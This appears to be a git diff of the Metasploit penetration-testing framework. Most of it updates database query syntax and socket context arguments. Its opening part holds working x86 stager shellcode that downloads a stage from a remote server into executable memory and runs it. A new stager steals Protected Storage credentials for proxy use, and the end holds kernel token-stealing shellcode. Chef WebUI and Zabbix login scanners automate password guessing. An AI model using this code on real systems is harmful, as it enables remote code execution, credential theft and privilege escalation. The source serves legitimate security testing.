;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
|
||||
;//////////////////////////////////
|
||||
;//get proxy credentials from stack
|
||||
;//////////////////////////////////
|
||||
get_proxy_auth:
|
||||
pop esi ; delete the top 3 stack elements as they are
|
||||
pop esi ; garbage from this block
|
||||
pop esi
|
||||
|
||||
pop ecx ; save pointer to password in ecx
|
||||
pop edx ; save pointer to username in edx
|
||||
;/////////////////////////////////////////////////
|
||||
; we use the credentials only in internetconnect//
|
||||
;/////////////////////////////////////////////////
|
||||
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Windows Server 2003, IE Versions 4 to 6
|
||||
; Build: >build.py stager_reverse_http_proxy_pstore
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_get_pstore_creds.asm"
|
||||
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -44,7 +44,11 @@ module Metasploit
|
|||
# convert port to FTP syntax
|
||||
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
|
||||
dataport = ($5.to_i * 256) + $6.to_i
|
||||
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
|
||||
self.datasocket = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => datahost,
|
||||
'PeerPort' => dataport,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
|
||||
)
|
||||
end
|
||||
self.datasocket
|
||||
end
|
||||
|
|
|
@ -17,7 +17,7 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
|
|
|
@ -12,6 +12,12 @@ module Metasploit
|
|||
include ActiveModel::Validations
|
||||
|
||||
included do
|
||||
# @!attribute framework
|
||||
# @return [Object] The framework instance object
|
||||
attr_accessor :framework
|
||||
# @!attribute framework_module
|
||||
# @return [Object] The framework module caller, if availale
|
||||
attr_accessor :framework_module
|
||||
# @!attribute connection_timeout
|
||||
# @return [Fixnum] The timeout in seconds for a single SSH connection
|
||||
attr_accessor :connection_timeout
|
||||
|
|
|
@ -34,7 +34,7 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
|
||||
class ChefWebUI < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute session_name
|
||||
# @return [String] Cookie name for session_id
|
||||
attr_accessor :session_name
|
||||
|
||||
# @!attribute session_id
|
||||
# @return [String] Cookie value
|
||||
attr_accessor :session_id
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /<title>Chef Server<\/title>/
|
||||
return "Unexpected HTTP body (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Save the session ID cookie
|
||||
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
|
||||
self.session_name = $1
|
||||
self.session_id = $2
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(csrf_token, credential)
|
||||
|
||||
data = "utf8=%E2%9C%93" # ✓
|
||||
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&commit=login"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('/users/login_exec'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Chef WebUI
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
|
||||
# Obtain a CSRF token first
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
|
||||
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
|
||||
end
|
||||
|
||||
csrf_token = $1
|
||||
|
||||
res = try_credential(csrf_token, credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri("/users/#{credential.public}/edit"),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -61,7 +61,7 @@ module Metasploit
|
|||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -47,7 +47,7 @@ module Metasploit
|
|||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
|
@ -55,7 +55,7 @@ module Metasploit
|
|||
)
|
||||
|
||||
begin
|
||||
# Use _send_recv instead of send_recv to skip automatiu
|
||||
# Use _send_recv instead of send_recv to skip automatic
|
||||
# authentication
|
||||
response = http_client._send_recv(request)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
|
@ -95,7 +95,7 @@ module Metasploit
|
|||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version,
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
|
@ -160,6 +160,14 @@ module Metasploit
|
|||
nil
|
||||
end
|
||||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] The target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
|
|
|
@ -33,7 +33,7 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -35,7 +35,7 @@ module Metasploit
|
|||
begin
|
||||
cred = Rex::Text.uri_encode(credential.private)
|
||||
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => method,
|
||||
|
|
|
@ -33,7 +33,7 @@ module Metasploit
|
|||
res = nil
|
||||
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_cgi(req_opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -38,7 +38,7 @@ module Metasploit
|
|||
:Timeout => connection_timeout,
|
||||
:Retries => 2,
|
||||
:Transport => ::SNMP::RexUDPTransport,
|
||||
:Socket => ::Rex::Socket::Udp.create
|
||||
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
|
||||
)
|
||||
|
||||
result_options[:proof] = test_read_access(snmp_client)
|
||||
|
|
|
@ -10,7 +10,7 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
result_opts = {
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The Zabbix HTTP LoginScanner class provides methods to do login routines
|
||||
# for Zabbix 2.4 and 2.2
|
||||
class Zabbix < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute version
|
||||
# @return [String] Product version
|
||||
attr_accessor :version
|
||||
|
||||
# @!attribute zsession
|
||||
# @return [String] Cookie session
|
||||
attr_accessor :zsession
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
|
||||
return "Unexpected HTTP body (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
self.version = $1
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
|
||||
self.zsession = $1
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(credential)
|
||||
|
||||
data = "request="
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&autologin=1"
|
||||
data << "&enter=Sign%20in"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('index.php'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Zabbix
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
res = try_credential(credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri('profile.php'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "zbx_sessionid=#{self.zsession}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -89,7 +89,8 @@ module Metasploit
|
|||
'SSL' => dossl,
|
||||
'SSLVersion' => opts['SSLVersion'] || ssl_version,
|
||||
'Proxies' => proxies,
|
||||
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i
|
||||
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
|
||||
)
|
||||
# enable evasions on this socket
|
||||
set_tcp_evasions(nsock)
|
||||
|
|
|
@ -75,6 +75,12 @@ require 'msf/http/jboss'
|
|||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -130,7 +130,7 @@ class Msf::DBManager
|
|||
#
|
||||
def check
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
res = ::Mdm::Host.find(:first)
|
||||
res = ::Mdm::Host.first
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ module Msf::DBManager::Client
|
|||
ret = {}
|
||||
|
||||
host = get_host(:workspace => wspace, :host => addr)
|
||||
client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string])
|
||||
client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize
|
||||
|
||||
opts[:ua_string] = opts[:ua_string].to_s
|
||||
|
||||
|
|
|
@ -102,28 +102,28 @@ module Msf::DBManager::Cred
|
|||
# If duplicate usernames are okay, find by both user and password (allows
|
||||
# for actual duplicates to get modified updated_at, sources, etc)
|
||||
if token[0].nil? or token[0].empty?
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
|
||||
else
|
||||
cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
unless cred
|
||||
dcu = token[0].downcase
|
||||
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
|
||||
unless cred
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
# Create the cred by username only (so we can change passwords)
|
||||
if token[0].nil? or token[0].empty?
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
|
||||
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
|
||||
else
|
||||
cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype)
|
||||
unless cred
|
||||
dcu = token[0].downcase
|
||||
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
|
||||
unless cred
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
|
||||
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -166,9 +166,9 @@ module Msf::DBManager::Host
|
|||
end
|
||||
|
||||
if opts[:comm] and opts[:comm].length > 0
|
||||
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
|
||||
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
|
||||
else
|
||||
host = wspace.hosts.find_or_initialize_by_address(addr)
|
||||
host = wspace.hosts.where(address: addr).first_or_initialize
|
||||
end
|
||||
else
|
||||
host = addr
|
||||
|
@ -257,9 +257,9 @@ module Msf::DBManager::Host
|
|||
end
|
||||
|
||||
if opts[:comm] and opts[:comm].length > 0
|
||||
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
|
||||
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
|
||||
else
|
||||
host = wspace.hosts.find_or_initialize_by_address(addr)
|
||||
host = wspace.hosts.where(address: addr).first_or_initialize
|
||||
end
|
||||
else
|
||||
host = addr
|
||||
|
|
|
@ -8,7 +8,7 @@ module Msf::DBManager::Ref
|
|||
return ret[:ref] if ret[:ref]
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name])
|
||||
ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize
|
||||
if ref and ref.changed?
|
||||
ref.save!
|
||||
end
|
||||
|
|
|
@ -87,7 +87,7 @@ module Msf::DBManager::Service
|
|||
|
||||
proto = opts[:proto] || 'tcp'
|
||||
|
||||
service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto)
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||
opts.each { |k,v|
|
||||
if (service.attribute_names.include?(k.to_s))
|
||||
service[k] = ((v and k == :name) ? v.to_s.downcase : v)
|
||||
|
|
|
@ -31,7 +31,7 @@ module Msf::DBManager::Vuln
|
|||
vuln = nil
|
||||
|
||||
if service
|
||||
vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
|
||||
vuln = service.vulns.includes(:vuln_details).where(crit).first
|
||||
end
|
||||
|
||||
# Return if we matched based on service
|
||||
|
@ -39,7 +39,7 @@ module Msf::DBManager::Vuln
|
|||
|
||||
# Prevent matches against other services
|
||||
crit["vulns.service_id"] = nil if service
|
||||
vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
|
||||
vuln = host.vulns.includes(:vuln_details).where(crit).first
|
||||
|
||||
return vuln
|
||||
end
|
||||
|
@ -168,7 +168,7 @@ module Msf::DBManager::Vuln
|
|||
sname = opts[:proto]
|
||||
end
|
||||
|
||||
service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto)
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create
|
||||
end
|
||||
|
||||
# Try to find an existing vulnerability with the same service & references
|
||||
|
|
|
@ -135,7 +135,7 @@ module Msf::DBManager::Web
|
|||
|
||||
ret = {}
|
||||
|
||||
page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query)
|
||||
page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize
|
||||
page.code = code
|
||||
page.body = body
|
||||
page.headers = headers
|
||||
|
@ -243,7 +243,7 @@ module Msf::DBManager::Web
|
|||
=end
|
||||
|
||||
vhost ||= host.address
|
||||
site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id])
|
||||
site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize
|
||||
site.options = opts[:options] if opts[:options]
|
||||
|
||||
# XXX:
|
||||
|
@ -342,7 +342,7 @@ module Msf::DBManager::Web
|
|||
|
||||
meth = meth.to_s.upcase
|
||||
|
||||
vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer)
|
||||
vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize
|
||||
vuln.name = name
|
||||
vuln.risk = risk
|
||||
vuln.params = para
|
||||
|
|
|
@ -4,7 +4,7 @@ module Msf::DBManager::Workspace
|
|||
#
|
||||
def add_workspace(name)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
::Mdm::Workspace.find_or_create_by_name(name)
|
||||
::Mdm::Workspace.where(name: name).first_or_create
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -83,7 +83,11 @@ module Exploit::Remote::Ftp
|
|||
# convert port to FTP syntax
|
||||
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
|
||||
dataport = ($5.to_i * 256) + $6.to_i
|
||||
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
|
||||
self.datasocket = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => datahost,
|
||||
'PeerPort' => dataport,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
end
|
||||
self.datasocket
|
||||
end
|
||||
|
|
|
@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel
|
|||
# original token to so it can be restored later.
|
||||
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||
# the arch will be guessed from the target and then module information.
|
||||
# @param append_ret [Boolean] Append a ret instruction for use when being called
|
||||
# in place of HaliQuerySystemInformation.
|
||||
# @return [String] The token stealing shellcode.
|
||||
# @raise [ArgumentError] If the arch is incompatible.
|
||||
#
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
|
||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
|
@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel
|
|||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||
end
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
